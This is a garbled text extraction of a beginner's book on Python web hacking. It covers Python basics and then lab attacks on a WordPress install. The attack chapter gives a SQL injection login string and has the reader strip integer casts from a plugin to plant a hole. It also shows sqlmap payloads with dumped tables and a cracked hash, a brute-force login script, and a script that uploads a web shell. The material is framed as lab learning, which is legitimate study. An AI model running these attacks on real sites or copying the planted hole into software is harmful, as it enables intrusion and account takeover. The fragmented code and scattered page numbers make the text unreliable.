Python Web Hacking Essentials - Earnest Wish
Python Web Hacking Essentials - Earnest Wish
Python Web Hacking Essentials - Earnest Wish
Essentials
Leo
Leo is a computer architect and a parallel processing expert. He is
the author of six programming books. As a junior programmer, he
developed a billing system and a hacking tool prevention system in
China. In recent years, he has studied security vulnerability analysis
and the improvement in measures for parallel programming. Now,
he is a lead optimization engineer to improve CPU and GPU
performance.
CONTENTS IN DETAIL
Chapter 1 Preparation for Hacking
1.3 Functions
11
14
1.6 Module
17
21
25
35
35
39
56
67
77
Chapter 3 Conclusion
96
PREFACE
Target Audience
This book is not for professional hackers. Instead, this book is
made for beginners who have programming experience and are
interested in hacking. Here, hacking techniques that can be
easily understood have been described. If you only have a
home PC, you can test all the examples provided here. I have
included many figures that are intuitively understandable rather than
a litany of explanations. Therefore, it is possible to gain some
practical experience while hacking, since I have only used examples
that can actually be implemented. This book is therefore necessary
for ordinary people who have a curiosity of hackers and are
interested in computers.
Test Environment
Hacking is influenced by the testing environment, and therefore, if
an example does not work properly, please refer to the following
table. For Windows, you must install the 32-bit version, and you
must also install Python version 2.7.6.
Program
Version
7 professional
Windows
32 bits
Python
2.7.6
PaiMei
1.1 REV122
VirtualBox 4.3.10 r93012
Apache 2.4.9
MySQL 5.6.17
APM
PHP 5.5.12
PHPMyAdmin
4.1.14
WordPress 3.8.1
HTTP
Stand-alone
Analyzer
V7.1.1.445
URL
http://www.microsoft.com
http://www.python.org/download
http://www.openrce.org/downloads/details/208/PaiMei
https://www.virtualbox.org/wiki/Downloads
http://www.wampserver.com/en/
https://wordpress.org/download/release-archive/
http://www.ieinspector.com/download.html
Chapter
#(1)
#(2)
skill = ["sword","spear","bow","axe"]
power = [98.5, 89.2, 100, 79.2]
#(3)
10
#(4)
print "\n"
print "----------------------------------------"
print "1.name:", name
print "2.age:", age
print "3.weight:", weight
#(5)
i=0
print str(123)
for each_item in skill:
#(6)
#(8)
(9)
(10) i = i+1
#(11)
print "----------------------------------------"
print "\n"
>>>
select weapon: sword
11
3.weight: 69.3
4.armed weapon: sword [ power 98.5 ]
>>>i am ready to fight
----------------------------------------
the indentation.
(7) The Program Block Representation: The Space or the
Tab key represent a program block. Developers that are
familiar with other languages may feel a little awkward at first.
However, once used to it, you can feel that syntax errors are
reduced and coding becomes simplified.
(8) Comparison and Branch Statement: It is possible to use an
if statement to determine a true or false condition. The
colon : specifies the start of the branch statement block, and
in a manner similar to C and Java, a comparison uses the ==
symbol.
(9) Multiple Lines of Program Block Representation: If you
use the same number of Space or Tab characters, the lines
are regarded as part of the same block.
(10) New Program Block: If a smaller number of Space or
Tab characters are used than a previous block, this indicates
that the new lines correspond to a new program block.
(11) Operator: Similar to C and Java, Python uses the +
operator. Python also uses the following reserved words,
and these reserved words cannot be used as variable names.
List 1-1 Reserved Words
And
assert
break
class
continue
def
del
elif
else
except
exec
finally
for
form
global
if
import
in
13
is
lambda
not
or
pass
print
raise
return
try
while
yield
dict
Integer
Floating-point
Complex
Strings, Immutable
objects
List, Mutable objects
Tuple, Immutable
objects
Key viewable list,
Mutable objects
1024, 768
3.14, 1234.45
3+4j
Hello World
[a,b,1,2]
(a,b,1,2)
{a:hi,
b:go}
14
Execution syntax 2
else:
Execution syntax 3
for
1.3 Functions
1.3.1 Built-in Functions
As with other languages, Python uses functions to improve the
program structurally and to remove duplicate code. Python supports
a variety of built-in functions that can be used by including a
function call or importing a module. The print function is used
15
#(1)
16
print "\n"
print "----------------------------------------"
print "1.name:", name
print "2.age:", age
print "3.weight:", weight
print "4.armed weapon:",inSkill, "[ power", power[idx],"]"
print ">>>i am ready to fight"
#end of function
querySkill = raw_input("select weapon: ")
i=0
for each_item in skill:
if(each_item == querySkill):
printItem(querySkill, i)
i = i+1
#(2)
print "----------------------------------------"
print "\n"
#(1)
#(2)
#(3)
#(4)
(1) Create a Class: If you specify a class name after using the
18
declared.
19
#(1)
#(2)
#(3)
#(4)
#(5)
class MyHero(Hero):
#(6)
def __init__(self, inSkill, inPower, idx):
Hero.__init__(self, "hong gil dong", 18, 69.3) #(7)
self.skill = inSkill
self.power = inPower
self.idx = idx
def printSkill(self):
print "4.armed weapon:" , self.skill + "[ power:" ,
self.power[self.idx], "]"
skill = ["sword","spear","bow","axe"]
power = [98.5, 89.2, 100, 79.2]
querySkill = raw_input("select weapon: ")
i=0
for each_item in skill:
if(each_item == querySkill):
myHero = MyHero(querySkill, power, i)
myHero.printHero()
myHero.printSkill()
i = i+1
#(8)
#(9)
print "--------------------------------------"
print "\n"
try:
#(1)
Program with Errors
#(2)
except Exception type:
#(3)
Exception Handling
else:
#(4)
Normal Processing
finally:
#(5)
Unconditionally executed, irrespective of the occurrence of the
exception
#(1)
#(2)
print "\n"
try:
a = 10 / 0
print "value of a: ", a
except ZeroDivisionError:
print "2.[exception] divided by zero "
#(3)
print "\n"
try:
a = 10
b = "a"
c=a/b
except (TypeError, ZeroDivisionError):
print "3.[exception] type error occurred"
else:
print "4.type is proper"
finally:
print "5.end of test program"
>>>
1.[exception] divided by zero
23
#(4)
#(5)
#(6)
1.6 Module
1.6.1 Basis of Module
A module in Python is a kind of file that serves as a collection of
functions that are frequently used. If you use a module, a complex
function is separated into a separate file. Therefore, it is possible to
24
#(1)
#(2)
#(3)
#(4)
(3) Add the Path: It is possible to add the path of new module by
using the path.append function.
#(1)
#(2)
print "\n"
print "----------------------------------------"
print "1.name:", name
print "2.age:", age
print "3.weight:", weight
print "4.armed weapon:",inSkill, "[ power", power[idx],"]"
print ">>>i am ready to fight"
#(1)
#(2)
#(3)
print "----------------------------------------"
print "\n"
sys.path.append(directory).
#(1)
#(2)
Open mode
r read: Open for read
w write: Open for write
a append: Open for append
(1) Creating Object: Open the file object to handle files with a
specified name. Depending on the open mode, it is possible to
deal with file objects in different ways.
(2) Closing Object: After the use of the file object has finished,
you must close the object. Python automatically closes all file
objects at the end of the program, but if you try to use the file
opened in the w mode, an error will occur.
file and add content. If you do not specify the location at the time of
the file creation, the file is created in the same location as the
program. After the fileFirst.txt and fileSecond.txt files have been
created, let's create a simple program that print out each file.
import os
def makeFile(fileName, message, mode):
a=open(fileName, mode)
a.write(message)
a.close()
#(1)
#(2)
#(3)
#(4)
def openFile(fileName):
b=open(fileName, "r")
lines = b.readlines()
for line in lines:
print(line)
b.close()
#(5)
#(6)
#(7)
#(8)
print("write fileFirst.txt")
print("-----------------------------")
openFile("fileFirst.txt")
print("-----------------------------")
#(11)
29
print("\n")
print("write secondFirst.txt")
print("-----------------------------")
openFile("fileSecond.txt")
print("-----------------------------")
#(12)
>>>
write fileFirst.txt
----------------------------This is my first file3
-----------------------------
write secondFirst.txt
----------------------------This is my second file 1
This is my second file 2
This is my second file 3
-----------------------------
You can copy and delete the files using a variety of modules, and it
is possible to move and copy by using the shutil module, and to
delete the file by using the os module.
Insert the string format code in the middle of the output string.
Place the characters that you want to insert with the % code after
the string.
List 1-3 String Format Code
%s
%c
%d
%f
%o
%x
String
Character
Integer
Floating Pointer
Octal Number
Hexadecimal Number
#(1)
#(2)
#(3)
#(4)
#(5)
34
Chapter
Web Hacking
2.1 Overview of Web Hacking
Most of the services you are using operate over the Internet. In
particular, web pages transmitted over the HTTP protocol may be at
the heart of an Internet service. A home page that is used for a PC
and a smartphone is a kind of Web service. Most companies basically
block all service ports due to security, but port 80 remains open for
Web services. Google, which is a typical portal site that people
connect to everyday, also uses port 80. Web services recognize that
you are using the port 80, if you do not specify a different port
behind the URL. Through port 80, a web server transmits a variety
of data to your PC, including text, images, files, videos. Through the
port 80, a user can also transmit a variety of data from text to a large
file to a web server.
A3 Cross-Site Scripting(XSS)
An XSS vulnerability occurs when an application sends data to
a web browser without proper validation. Important
information on the PC that had been entered by the victim who
executed the script XSS is then transmitted to the hacker.
36
A5 Security Misconfiguration
Applications, frameworks, application servers, web servers,
database servers, and platforms have implemented a variety of
security technologies. An administrator can change the security
level by modifying the environment file. Security technology
that has been installed can be exposed to a new attack over
time. In order to maintain the safety of the system, an
administrator has to constantly check the environment and
need to ensure that software is up to date.
37
Shell attack are at the top of the OWASP Top 10 list. Now, let's look
at these hacking techniques using Python.
39
41
42
43
44
45
47
Unzip the file that has been downloaded and copy it to the
c:\wamp\www folder. The folder is a Document Root directory
that is basically recognized by Apache. You can change the
document root directory, but accept the default settings for the test.
51
53
54
55
56
Users typically log in using their username and password. If the user
uses the correct username and password, the Web server successfully
completes the authentication process. Lets enter abnormal SQL
Code into the id field to perform a SQL Injection.
SQL Injection Code
1 OR 1=1 --
57
on the server PC and unzipping the file. Then open the file
(wordpress\wp-content\plugins\all-video-gallery\config.php)
to
modify the code. This file is a part of a program that provides an
environment display function.
/*$_vid = (int) $_GET['vid']; */
[original code] comment out
/*$_pid = (int) $_GET['pid'];*/
[original code] comment out
$_vid = $_GET['vid'];
[modified code] remove (int)
$_pid = $_GET['pid'];
[modified code] remove (int)
The [--risk] option assigns the risk level. If the risk level is high,
the test there has a high probability of causing a problem on the site.
[ risk option ]
1: This is innocuous for the majority of SQL
injection points. Default value.
Normal Injection(union), Blind
Injection(true:1=1, false:1=2)
2: Add to the default level the tests for heavy query
61
The [--dbms] option assigns the database type. If you don't use
that option, sqlmap runs the test against all kinds of databases. The
database type is specified by mysql for convenience. If you are asked
for the test to proceed, enter "y".
[11:09:53] [WARNING] User-Agent parameter 'User-Agent' is not
injectable
sqlmap identified the following injection points with a total of 5830
HTTP(s) requests:
--Place: GET
Parameter: vid
Type: UNION query
Title: MySQL UNION query (random number) - 18 columns
Payload: vid=1 UNION ALL SELECT
9655,9655,9655,9655,9655,CONCAT(0x71657a7571,0x41596a4a4a6f6
8716454,0x716f747471),96
55,9655,9655,9655,9655,9655,9655,9655,9655,9655,9655,9655#&pid=
1
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: vid=1 AND
9762=BENCHMARK(5000000,MD5(0x6a537868))-- pOPC&pid=1
Place: GET
Parameter: pid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
62
[--tables] can be used to obtain all table lists. By adding this option,
you can read all the information of all the tables in the database. Let's
manually find a table that contains user information.
there were multiple injection points, please select the one to use for
following injections:
[0] place: GET, parameter: pid, type: Unescaped numeric (default)
[1] place: GET, parameter: vid, type: Unescaped numeric
[q] Quit
>0
Database: phpmyadmin
[8 tables]
+------------------------------------------------+
| pma_bookmark
|
| pma_column_info
|
| pma_designer_coords
|
| pma_history
|
| pma_pdf_pages
|
| pma_relation
|
| pma_table_coords
|
| pma_table_info
|
+------------------------------------------------+
Database: wordpress
[16 tables]
+------------------------------------------------+
| prg_connect_config
|
| prg_connect_sent
|
| wp_allvideogallery_categories
|
| wp_allvideogallery_profiles
|
| wp_allvideogallery_videos
|
64
| wp_commentmeta
|
| wp_comments
|
| wp_links
|
| wp_options
|
| wp_postmeta
|
| wp_posts
|
| wp_term_relationships
|
| wp_term_taxonomy
|
| wp_terms
|
| wp_usermeta
|
| wp_users
|
+------------------------------------------------+
65
Table: wp_users
[10 columns]
+-----------------------------+------------------------------+
| Column
| Type
|
+-----------------------------+------------------------------+
| display_name
| varchar(250)
|
| ID
| bigint(20) unsigned
|
| user_activation_key
| varchar(60)
|
| user_email
| varchar(100)
|
| user_login
| varchar(60)
|
| user_nicename
| varchar(50)
|
| user_pass
| varchar(64)
|
| user_registered
| datetime
|
| user_status
| int(11)
|
| user_url
| varchar(100)
|
+-----------------------------+------------------------------+
option is then used to extract all of the data that is stored in that
column.
do you want to store hashes to a temporary file for eventual further
processing with other tools [y/N] y
do you want to crack them via a dictionary-based attack? [Y/n/q] y
Database: wordpress
Table: wp_users
[1 entry]
+------------------------------------------------------------------+---------------------+
| user_pass
| user_login
|
+------------------------------------------------------------------+---------------------+
| $P$BfKYXQB9dz5b6BJl0F6qy6lRG1bRai0 (python) | python
|
+------------------------------------------------------------------+---------------------+
#(1)
69
#(6)
#(7)
72
!!!!lax7890
!!!!very8989
!!!111sssMMM
!!!234what
!!!666!!!
#(1)
#(2)
#(3)
74
passwords = wordlist.readlines()
for password in passwords:
password = password.strip()
#(4)
#(5)
(3) Opening File: Open the text file that has the password that is
used for the test.
(4) Starting Loop: Transmit the data stored in the file one-by-one
and find the password that matches with the user name
(5) Checking Login: Once successfully logged in, Wordpress
proceeds to the admin screen. Therefore, check that it contains
the address of the admin screen in the return URL.
(6) Ending Loop: If it contains the address of the administrator
screen, it will exit the loop. Otherwise, it will retry the login
with the next entry.
I moved the position of the python entry forward in the
wordlist.txt file to make this test more convenient.
################failed############[!]
################failed############[! Keeper]
################failed############[!!]
################failed############[!!!]
################failed############[!!!!!!]
################failed############[!!!!!!!!!!!!!!!!!!!!]
################failed############[!!!!!2]
################success############[python]
76
Let's install a simple program to test a Web Shell attack. The file
upload program in Wordpress is made with Flash, so it cannot be
easily inspected through the HTML source code. Lets download and
install the HTTP Analyzer (http://www.ieinspector.com/download.html).
This program can monitor browser communication over the HTTP
protocol.
78
79
81
83
cj = CookieJar()
#(1)
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) #(2)
url = "http://server/wordpress/wp-login.php"
values = {
'log': python,
'pwd': python
}
headers = {
'User-Agent':'Mozilla/4.0(compatible;MISE 5.5; Windows NT)',
'Referer':'http://server/wordpress/wp-admin/'
}
data = urllib.urlencode(values)
request = urllib2.Request(url, data, headers)
response = opener.open(request)
#(3)
85
#(5)
#(6)
87
----pluploadboundary1398004118
Content-Disposition: form-data; name="post_id"
59
----pluploadboundary1398004118
Content-Disposition: form-data; name="_wpnonce"
7716717b8c
----pluploadboundary1398004118
Content-Disposition: form-data; name="action"
upload-attachment
----pluploadboundary1398004118
Content-Disposition: form-data; name="name"
webshell.html
----pluploadboundary1398004118
Content-Disposition: form-data; name="async-upload";
88
filename="webshell.html"
Content-Type: text/html
90
L.append('')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary=%s' %
BOUNDARY
return content_type, body
#make a cookie and redirect handlers
cj = CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
#login processing URL
url = "http://server/wordpress/wp-login.php"
values = {
"log": "python",
"pwd": "python"
}
headers = {
"User-Agent":"Mozilla/4.0(compatible;MISE 5.5; Windows NT)",
"Referer":"http://server/wordpress/wp-admin/"
}
data = urllib.urlencode(values)
request = urllib2.Request(url, data, headers)
response = opener.open(request)
#fileupload processing URL
url = "http://server/wordpress/wp-admin/async-upload.php"
fields = [
("post_id", "59"),
("_wpnonce", "7716717b8c"),
("action", "upload-attachment"),
91
("name", "webshell.html"),
]
fd = open("webshell.html", "rb")
files = [("async-upload", fd)]
#form data setting
content_type, body = encode_multipart_formdata(fields, files)
headers = {
'User-Agent': 'Mozilla/4.0(compatible;MISE 5.5; Windows NT)',
'Content-Type': content_type
}
request = urllib2.Request(url, body, headers)
response = opener.open(request)
fd.close()
print response.read()
92
tion":"","caption":"","name":"webshell","status":"inherit","uploadedT
o":59,"date":1.39791236e+12,"modified":1.39791236e+12,"menuOrde
r":0,"mime":"text\/html","type":"text","subtype":"html","icon":"http:
\/\/server\/wordpress\/wpincludes\/images\/crystal\/code.png","dateFormatted":"2014\ub144
4\uc6d4
19\uc77c","nonces":{"update":"f05a23134f","delete":"9291df03ef"},"
editLink":"http:\/\/server\/wordpress\/wpadmin\/post.php?post=64&action=edit","compat":{"item":"","meta":
""}}}
94
References
https://www.owasp.org
https://www.virtualbox.org
http://dev.naver.com/projects/apmsetup/download
http://www.wordpress.org
http://www.flippercode.com/how-to-hack-wordpress-site-using-sql-injection/
https://github.com/sqlmapproject/sqlmap/wiki/Usage
http://en.wikipedia.org/wiki/SQL_injection
https://docs.python.org/2/library/urllib.html
https://docs.python.org/2/library/urllib2.html
http://www.hacksparrow.com/python-difference-between-urllib-andurllib2.html
http://www.scotthawker.com/scott/?p=1892
95
Chapter
Conclusion
To become an Advanced Hacker
Basic Theory
The most effective way to become an advanced hacker is to study
computer architectures, operating systems, and networks. Therefore,
dust off the major books that are displayed on a bookshelf and read
them again. When reading books to become a hacker, you will have a
different experience from that in the past. If you can understand
principles and draw pictures of the necessary actions in your head,
you are ready now. Let's move on to the next step.
Hacking Tools
First, let's discuss a variety of tools. There are many tools available
on the Internet, such as Back Track (Kali Linux), Metasploit, IDA
Pro, Wireshark, and Nmap. The boundaries between analysis and
attacking or hacking and defense are unclear. Testing tools can be
96
used for attacks, and attack tools can also be used for analysis, so it is
possible to understand the basics of hacking while studying how to
use some of the tools that were previously listed. Of course, it is
important to learn how to use these in a test environment and to not
attack a commercial website.
Languages
If you know understand the basics of hacking, you will have the
desire to try to do something for yourself. At this point, it is
necessary to learn a development language. You must understand
high-level languages such as Python, Ruby, Perl, C, and Javascript as
well as low-level languages such as Assembler. Assembler is the basis
for reversing and debugging, and it is an essential language you need
to know to become an advanced hacker.
Reversing
Network hacking and Web hacking are relatively easy to understand.
However, a system hack based on an application has a significantly
higher level of difficulty. If you have sufficient experience with
assembly and debugging tools, such as Immunity Debugger, IDA
Pro, Ollydbg, then you can take a challenge for reversing. Even if
you understand the control flow of the computer architecture and
assembly language, hacking systems one by one is difficult, and only
advanced hackers can do so.
Fuzzing
The first step for hacking is to find vulnerabilities. Fuzzing is a
security test techniques that observes behavior by inputting random
data into a program. If the program malfunctions, then it is evidence
97
98